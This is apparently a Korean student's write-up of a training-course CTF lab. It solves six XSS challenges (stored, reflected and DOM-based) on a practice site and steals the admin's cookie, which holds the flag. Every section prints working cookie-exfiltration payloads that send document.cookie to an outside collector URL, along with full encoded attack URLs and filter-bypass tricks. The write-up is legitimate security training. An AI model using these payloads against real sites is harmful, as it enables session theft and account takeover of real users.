2023. 12. 31. 22:08ㆍnormaltic 취업반 5기/과제
과제 목표
- XSS 1~5번 문제+XSS Challenge 문제에서 XSS 공격을 통한 플레그 찾기
- XSS를 이용한 쿠키 탈취 스크립트 삽입된 도메인을 admin이 요청하게 만들기
사용 도구
- Burp Suite (웹 프록시 툴)
- https://public.requestbin.com/r/ (공격자 웹 서버 역할)
XSS 1번 문제
- XSS 공격 종류 : Stored XSS
- XSS 공격 스크립트 발동 도메인 : /notice_read.php
- XSS 공격 Payload 삽입 위치 : 게시글의 제목 부분
- XSS Payload : <script>var cookieData = document.cookie;var i =new Image();i.src = "공격자 도메인/?cookie="+cookieData;</script>
1) XSS 공격 포인트 찾기
게시글을 작성하기 위해 '글쓰기' 버튼을 클릭한다.
게시글의 제목 입력칸에 <script>alert(1)</script> 스크립트를 입력하고 내용 입력칸에 임의의 문자열을 입력 후 'create' 버튼을 클릭하여 게시글을 작성한다.
글 작성이 성공했다는 팝업창을 확인하면 notice_list.php에서 작성된 게시글을 확인할 수 있다. 이제 작성된 게시글의 상세 페이지를 확인하기 위해 <script>alert(1)</script>이란 제목을 가진 게시글을 클릭하자.
클릭하게 되면 해당 게시글의 상세 페이지로 이동하게 되면서 제목에 삽입된 스크립트가 작동하여 alert(1) 함수가 정상적으로 발동하는 것으로 보아 XSS 공격이 가능하다는 것을 알 수 있다.
2) XSS를 이용한 쿠키 탈취 공격
XSS 공격 포인트인 제목 입력칸에 <script>var cookieData = document.cookie;var i =new Image();i.src = "https://en9xxpn8gvi9.x.pipedream.net/?cookie="+cookieData;</script>를 입력 후 'update' 버튼을 클릭하여 내용을 수정해 준다.
수정된 게시글은 notice_list.php에서 확인될 수 있으며 스크립트가 발동되는 URL을 확인하기 위해 게시글을 클릭한다.
게시글을 클릭하여 해당 게시글의 URL인 'http://ctf.segfaulthub.com:4343/xss_1/notice_read.php?id=724&view=1'를 복사한다.
관리자가 스크립트가 삽입된 URL에 방문하도록 복사한 URL을 입력하게 되면 관리자는 입력된 URL로 성공적으로 접속했다는 메시지가 출력된다.
관리자가 접속하여 스크립트가 작동하게 되면 관리자의 cookie 값이 공격자 웹 서버로 요청되어 전달된다. 관리자의 cookie 값이 플레그이다.
XSS 2번 문제
- XSS 공격 종류 : Reflected XSS
- XSS 공격 스크립트 발동 도메인 : /notice_list.php
- XSS 공격 Payload 삽입 위치 : 게시글 조회 시 문자열 입력 부분
- XSS Payload : ');var cookieData = document.cookie;var i =new Image();i.src = "공격자 도메인/?cookie="+cookieData;consol.log('
1) XSS 공격 포인트 찾기
게시글 조회 시 문자열 입력칸에 임의의 문자열을 입력하게 되면 입력한 문자열이 포함된 경고 문자열이 alert 함수로 실행된다.
/notice_list.php 웹 페이지 소스를 Burp Suite를 통해 확인한 결과, 요청 시 board_result 파라미터에 사용자가 입력한 값이 저장되고 응답 시 board_result 파라미터를 alert('board_result에 대한 검색 결과가 존재하지 않습니다.') 함수에 포함하여 alert 함수를 실행시킨다는 것을 확인할 수 있다.
해당 XSS 포인트는 이미 <script></script>으로 둘러싸여 있기 때문에 스크립트 삽입 시 <script></script>는 포함하지 않고 스크립트 작동을 위한 Payload만 삽입하면 된다.
2) XSS를 이용한 쿠키 탈취 공격
XSS 공격 포인트인 게시글 조회 시 문자열 입력칸에 ');var cookieData = document.cookie;var i =new Image();i.src = "https://en9xxpn8gvi9.x.pipedream.net/?cookie="+cookieData;consol.log('를 입력하여 돋보기 버튼을 클릭하게 되면 아무 문자열도 포함되어 있지 않은 경고 팝업창을 볼 수 있다.
이는 Payload 입력 시 삽입되는 위치의 특수성 때문인데 Payload는 alert('Payload에 대한 검색 결과가 존재하지 않습니다.')에서 Payload 위치에 삽입되고 Payload에 삽입된 공격 스크립트를 작동시키기 위해서는 alert 함수를 강제로 탈출시켜줘야 한다. 그러기 위해서는 Payload 앞에 '); 문자열을 삽입함으로써 alert 함수를 강제로 탈출시킨 후에 구분자 역할을 하는 세미콜론(;)을 입력하여 원하는 스크립트를 삽입하게 만든다. 그리고 Payload 뒤에는 에 대한 검색 결과가 존재하지 않습니다.')라는 문자열이 남아있기 때문에 consol.log('라는 문자열을 삽입함으로써 하나의 완전한 코드로 만들어준다.
결과적으로 Payload로 삽입하게 되면 alert(''), var cookieData = document.cookie, var i =new Image(), i.src = "https://en9xxpn8gvi9.x.pipedream.net/?cookie="+cookieData, consol.log('에 대한 검색 결과가 존재하지 않습니다.') 순으로 명령이 실행되게 된다.
그러나 해당 웹 페이지는 파라미터를 POST 메소드로 전달하기 때문에 XSS 공격이 곤란하다. 왜냐하면 POST 메소드로 전달하게 되면 스크립트가 삽입된 URL을 클라이언트에게 노출시킬 수 없기 때문이다. 이를 해결하기 위해 해당 웹 페이지를 강제로 GET 메소드로 파라미터를 전달한다.
GET 메소드는 데이터를 전달할 때 URL에 포함하여 전달한다. 이를 이용하여 URL에 파라미터와 데이터를 입력 후 요청을 하게 되면 스크립트가 작동하는 것을 확인할 수 있다. 입력한 URL은 다음과 같다.
http://ctf.segfaulthub.com:4343/xss_2/notice_list.php?option_val=username&board_result=%27);var%20cookieData%20=%20document.cookie;var%20i%20=new%20Image();i.src%20=%20%22https://en9xxpn8gvi9.x.pipedream.net/?cookie=%22%2bcookieData;consol.log(%27&board_search=%F0%9F%94%8D&date_from=&date_to=
스크립트가 삽입된 URL을 관리자가 방문할 URL에 입력하면 성공적으로 접속했다는 메시지가 출력되고 관리자의 cookie 값이 전달되어 플레그를 확인할 수 있다.
XSS 3번 문제
- XSS 공격 종류 : Reflected XSS
- XSS 공격 스크립트 발동 도메인 : /mypage.php
- XSS 공격 Payload 삽입 위치 : 마이페이지 파라미터 중 user 파라미터 부분
- XSS Payload : "><script>var cookieData = document.cookie;var i =new Image();i.src = "공격자 도메인/?cookie="+cookieData;</script>
1) XSS 공격 포인트 찾기
mypage.php 페이지의 파라미터인 user 값이 개인정보의 첫 번째 칸에 출력된다.
스크립트가 작동하는지 확인하기 위해 user 파라미터에 <script>alert(1)</script> 형태인 Payload를 입력했더니 Payload 그대로 응답 페이지에 출력되는 것이 확인되었다.
이를 Burp Suite를 통해 웹 페이지 소스를 확인한 결과, user 파라미터에 입력된 데이터는 input 태그에 포함되어 user 파라미터에 입력된 데이터는 문자열로 인식된다. 그렇기에 스크립트가 작동하려면 삽입되는 위치의 태그를 강제로 탈출시켜야 하며 Payload 앞에 ">을 포함하면 해결된다.
"> 문자열을 포함한 Payload를 삽입함으로써 스크립트가 작동하는 것을 확인할 수 있다.
2) XSS를 이용한 쿠키 탈취 공격
user 파라미터에 "><script>var cookieData = document.cookie;var i =new Image();i.src="https://en9xxpn8gvi9.x.pipedream.net/?cookie="+cookieData;</script> 형태의 데이터를 삽입하여 해당 페이지의 전체 URL을 복사한다.
전체 URL : http://ctf.segfaulthub.com:4343/xss_3/mypage.php?user=%22%3E%3Cscript%3Evar%20cookieData%20=%20document.cookie;var%20i%20=new%20Image();i.src=%22https://en9xxpn8gvi9.x.pipedream.net/?cookie=%22%2bcookieData;%3C/script%3E
복사한 URL을 관리자가 방문할 URL에 입력하게 되면 성공적으로 접속했다는 메시지가 출력되고 관리자의 cookie 값이 전달되어 플레그를 확인할 수 있다.
XSS 4번 문제
- XSS 공격 종류 : Stored XSS
- XSS 공격 스크립트 발동 도메인 : /notice_read.php
- XSS 공격 Payload 삽입 위치 : 게시글의 제목, 내용 부분
- XSS Payload : <Script>var cookieData = document.cookie;var i =new Image();i.src = "공격자 도메인/?cookie="+cookieData;</Script>
1) XSS 공격 포인트 찾기
게시글을 작성하기 위해 '글쓰기' 버튼을 클릭한다.
게시글의 제목, 내용 입력칸에 <script>alert(1)</script> 스크립트를 입력하고 'create' 버튼을 클릭하여 게시글을 작성한다.
글 작성이 성공했다는 팝업창을 확인하면 notice_list.php에서 작성된 게시글을 확인할 수 있다. 이제 작성된 게시글의 상세 페이지를 확인하기 위해 <script>alert(1)</script>이란 제목을 가진 게시글을 클릭하자.
클릭하여 해당 게시글의 상세 페이지로 이동했더니 출력되는 제목과 내용에 'script'와 'alert'이란 문자열이 출력되지 않았다. 정확한 진단을 위해 Burp Suite로 응답 페이지 소스를 확인했으나 마찬가지로 두 문자열이 출력되지 않았다. 그리고 /notice_read.php 페이지에서 '수정' 버튼을 클릭하여 입력한 문자열이 출력되는 형태를 확인했더니 정상적으로 출력되는 것으로 보아 DB에는 입력한 문자열이 제대로 저장되었으나 /notice_read.php 페이지에 문자열이 출력될 때 'script', 'alert' 두 문자열은 필터링된 상태로 출력되는 걸로 추측 가능하다.
태그를 명시하는 문자는 대소문자를 구분하지 않는 것과 alert 함수를 대체해서 사용할 수 있는 함수가 있다는 것을 이용해 필터링을 우회 가능하다. 'script' 문자열은 'Script'로, alert 함수 대신 confirm 함수로 대신하여 입력하고 'update' 버튼을 클릭한다.
/notice_list.php 페이지에서 수정한 게시글의 제목을 눌러 상세 페이지로 이동하게 되면 스크립트가 정상 작동하는 것을 확인할 수 있으며 이를 통해 XSS 공격이 가능하다는 것을 확인하였다.
2) XSS를 이용한 쿠키 탈취 공격
XSS 공격 포인트는 제목과 내용 입력칸 모두 해당되므로 둘 중에 내용 입력칸을 선택하여 스크립트를 입력 후 'update' 버튼을 클릭하여 내용을 수정해 준다. 입력한 스크립트는 다음과 같다.
- <Script>var cookieData = document.cookie;var i =new Image();i.src = "https://en9xxpn8gvi9.x.pipedream.net/?cookie="+ cookieData;</Script>
수정된 게시글은 notice_list.php에서 확인될 수 있으며 스크립트가 발동되는 URL을 확인하기 위해 게시글을 클릭한다.
게시글을 클릭하여 해당 게시글의 URL인 'http://ctf.segfaulthub.com:4343/xss_5/notice_read.php?id=289&view=1'를 복사한다.
관리자가 스크립트가 삽입된 URL에 방문하도록 복사한 URL을 입력하게 되면 관리자는 입력된 URL로 성공적으로 접속했다는 메시지가 출력된다.
관리자가 접속하여 스크립트가 작동하게 되면 관리자의 cookie 값이 공격자 웹 서버로 요청되어 전달된다. 관리자의 cookie 값이 플레그이다.
XSS 5번 문제
- XSS 공격 종류 : Stored XSS
- XSS 공격 스크립트 발동 도메인 : /notice_read.php
- XSS 공격 Payload 삽입 위치 : /notice_write_process.php 혹은 /notice_update_process.php의 내용 부분
- XSS Payload : <script>var cookieData = document.cookie;var i =new Image();i.src = "공격자 도메인/?cookie="+cookieData;</script>
1) XSS 공격 포인트 찾기
게시글을 작성하기 위해 '글쓰기' 버튼을 클릭한다.
게시글의 제목, 내용 입력칸에 <script>alert(1)</script> 스크립트를 입력하고 'create' 버튼을 클릭하여 게시글을 작성한다. 이때 /notice_write.php 페이지의 웹 페이지 소스를 확인했더니 '<' 특수문자는 '<'로, '>' 특수문자는 '&rt;'로 치환하는 스크립트 함수가 존재하였다.
글 작성이 성공했다는 팝업창은 /notice_write_process.php 페이지에서 작동하는 것을 확인할 수 있으며 해당 웹 페이지 요청 시 전달되는 데이터를 Burp Suite를 통해 확인했더니 제목과 내용 입력칸에 입력했던 문자열이 다른 형태로 전달되는 것을 확인할 수 있다.
/notice_list.php 페이지에서 작성된 게시글의 상세 페이지로 이동하기 위해 게시글 제목을 클릭한다. 게시글의 상세 페이지를 요청하게 되면 작성 시 입력한 문자열은 제대로 출력되는 것을 알 수 있다. 그러나 해당 게시글 상세 페이지의 웹 페이지 소스를 확인했더니 /notice_write.php 페이지의 웹 페이지 소스에서 발견한 치환 함수가 적용된 상태로 출력된 것을 확인할 수 있었다.
해당 현상을 통해 가정할 수 있는 가설은 다음과 같다.
- /notice_write.php 페이지에서 제목과 내용이 입력되면 제목은 입력된 문자열 그대로 /notice_write_process.php 페이지로 전달되어 그 상태로 DB에 저장된다.
- 내용은 입력된 문자열에 포함된 '<', '>' 두 특수문자에 대한 치환이 이루어진 상태의 문자열이 /notice_write_process.php 페이지로 전달되어 DB에 저장된다.
- /notice_read.php 페이지에서 DB에 저장된 제목과 내용 문자열 출력 시 제목 문자열에 포함된 '<', '>' 두 특수문자에 대한 치환이 이루어진 상태의 문자열이 출력된다.
- 내용 문자열은 DB에 저장된 상태 그대로 출력된다.
위 가설에 따르면 /notice_write_process.php 페이지로 요청 시 전달하는 문자열 중 내용 부분의 문자열이 /notice_write.php 페이지에서 특수문자가 치환된 상태로 전달되어 DB에 저장하기 때문에 /notice_write_process.php 페이지로 요청하는 데이터를 다시 치환 전 상태의 문자열로 변경하게 되면 DB에 저장된 내용 문자열은 /notice_read.php 페이지에서 출력 시 아무런 필터링이나 치환이 적용이 되지 않은 그 상태로 출력되어 스크립트를 작동시킬 수 있을 것이다.
이에 따라 Burp Suite로 /notice_write.php에서 /notice_write_process.php로 이동할 때 인터셉트하여 내용 부분의 문자열을 변경 후에 전달하여 /notice_read.php 페이지에서 스크립트를 작동할 수 있게 한다.
다시 게시글을 작성하여 제목과 내용 입력칸에 <script>alert(1)</script> 스크립트를 입력한다.
그리고 Burp Suite에서 'Intercept is off'를 'Intercept is on'으로 바꿔준 다음 /notice_write.php 페이지에서 'create'를 버튼을 클릭한다.
/notice_write_process.php 페이지 요청 시 전달되는 웹 페이지 소스를 인터셉트하여 빨간 네모 부분을 치환 전 상태의 문자열로 변경 후에 'Intercept is on' 버튼을 클릭하여 'Intercept is off'로 변경한다.
변경 후에는 /notice_write.php 페이지에서 /notice_write_process.php 페이지로 이동하게 되고 글 작성이 성공했다는 경고 팝업창을 볼 수 있다. 작성된 게시글은 /notice_list.php 페이지에서 확인할 수 있으며 해당 게시글의 상세 페이지를 확인하기 위해 게시글의 제목을 클릭하게 되면 작성된 스크립트가 작동되는 것을 확인할 수 있다. 이 방법을 통해서 위 가설이 참이라는 것을 증명 가능하며 XSS 공격이 가능하다는 것을 확인하였다.
2) XSS를 이용한 쿠키 탈취 공격
XSS 공격 스크립트를 삽입하는 페이지는 /notice_write_process.php 페이지이기 때문에 /notice_write.php 페이지에 입력하는 문자열은 임의로 입력한다.
Burp Suite에서 인터셉트를 활성화시킨 후 /notice_write.php 페이지에서 'create' 버튼을 클릭하게 되면 /notice_write._process.php 페이지를 요청하는 웹 페이지 소스를 확인 가능하다. 이때 빨간 박스 부분을 스크립트 작동을 위한 코드로 변경 후 인터셉트를 놓아준다.
스크립트 작동 코드는 <script>var cookieData = document.cookie;var i = new Image();i.src = "https://en9xxpn8gvi9.x.pipedream.net/?cookie="+ cookieData;</script> 이다.
글이 성공적으로 작성된 것을 확인하고 스크립트가 작동하는 URL을 복사하기 위해 게시글의 상세 페이지로 이동한다. 이후 해당 상세 페이지의 URL인 http://ctf.segfaulthub.com:4343/xss_6/notice_read.php?id=132&view=1 을 복사한다.
관리자가 스크립트가 삽입된 URL에 방문하도록 복사한 URL을 입력하게 되면 관리자는 입력된 URL로 성공적으로 접속했다는 메시지가 출력된다.
관리자가 접속하여 스크립트가 작동하게 되면 관리자의 cookie 값이 공격자 웹 서버로 요청되어 전달된다. 관리자의 cookie 값이 플레그이다.
XSS Challenge 문제
- XSS 공격 종류 : DOM Based XSS
- XSS 공격 스크립트 발동 도메인 : /notice_list.php
- XSS 공격 Payload 삽입 위치 : 게시글 조회 시 문자열 입력 부분
- XSS Payload : <script>var cookieData = document.cookie;var i =new Image();i.src = "공격자 도메인/?cookie="+cookieData;</script>
1) XSS 공격 포인트 찾기
게시글 조회 시 문자열 입력칸에 임의의 문자열을 입력하게 되면 입력한 문자열이 포함된 문자열이 입력칸 하단에 출력되는 것을 확인 가능하다.
/notice_list.php 웹 페이지 소스를 Burp Suite를 통해 확인한 결과, 요청 시 board_result 파라미터에 사용자가 입력한 값이 저장되고 응답 시 board_result 파라미터에 저장된 값을 keyword 변수에 저장하여 id=search_addr인 html 요소의 value 값을 keyword로 대입하고 document.write 함수로 keyword+'에 대한 검색 결과가 없습니다.'라는 문자열을 출력하는 것을 확인할 수 있다.
해당 XSS 포인트는 별다른 입력값에 대한 검사가 이루어지지 않기 때문에 스크립트를 삽입하여 XSS 공격 포인트가 될 수 있다는 것을 확인한다.
게시글 조회 시 문자열 입력칸에 <script>alert(1)</script> 형태의 스크립트를 입력하였더니 스크립트가 작동함으로써 XSS 공격이 가능하다는 것을 확인 가능하다.
2) XSS를 이용한 쿠키 탈취 공격
XSS 공격 포인트는 게시글 조회 시 문자열 입력칸에 입력된 값이 /notice_list.php 페이지에 출력됨으로써 스크립트가 작동하게 된다. 이때 문자열 입력칸에 입력된 값은 board_result 파라미터에 데이터 값으로 GET 메소드 방식으로 전달되기 때문에 스크립트는 URL의 board_result 파라미터 값에 입력한다.
스크립트가 삽입된 전체 URL은 다음과 같다.
http://ctf.segfaulthub.com:4343/xss_4/notice_list.php?option_val=username&board_result=%3Cscript%3Evar%20cookieData%20=%20document.cookie;var%20i%20=new%20Image();i.src%20=%20%22https://en9xxpn8gvi9.x.pipedream.net/?cookie=%22%2bcookieData;%3C/script%3E&board_search=%F0%9F%94%8D&date_from=&date_to=
관리자가 방문할 URL 입력칸에 위 URL을 입력하였더니 성공적으로 접속했다는 내용이 출력되었다.
스크립트가 정상적으로 작동되어 관리자의 cookie 값이 전달되어 플레그를 획득하였다.
'normaltic 취업반 5기 > 과제' 카테고리의 다른 글
[normaltic 취업반 5기] 2024-01-10 11주차 과제 : 3번 과제 Steal Info , Steal Info2 문제 풀이 (0) | 2024.01.19 |
---|---|
[normaltic 취업반 5기] 2024-01-10 11주차 과제 : 2번 과제 Basic Script Prac 문제 풀이 (0) | 2024.01.15 |
[normaltic 취업반 5기] 2023-12-20 9주차 과제 : 2번 과제 XSS 1~6번 문제 (1) | 2023.12.27 |
[normaltic 취업반 5기] 2023-12-13 8주차 과제 : 4번 과제 (0) | 2023.12.20 |
[normaltic 취업반 5기] 2023-12-13 8주차 과제 : 3번 과제 SQL Injection Advanced 3,4 (2) | 2023.12.20 |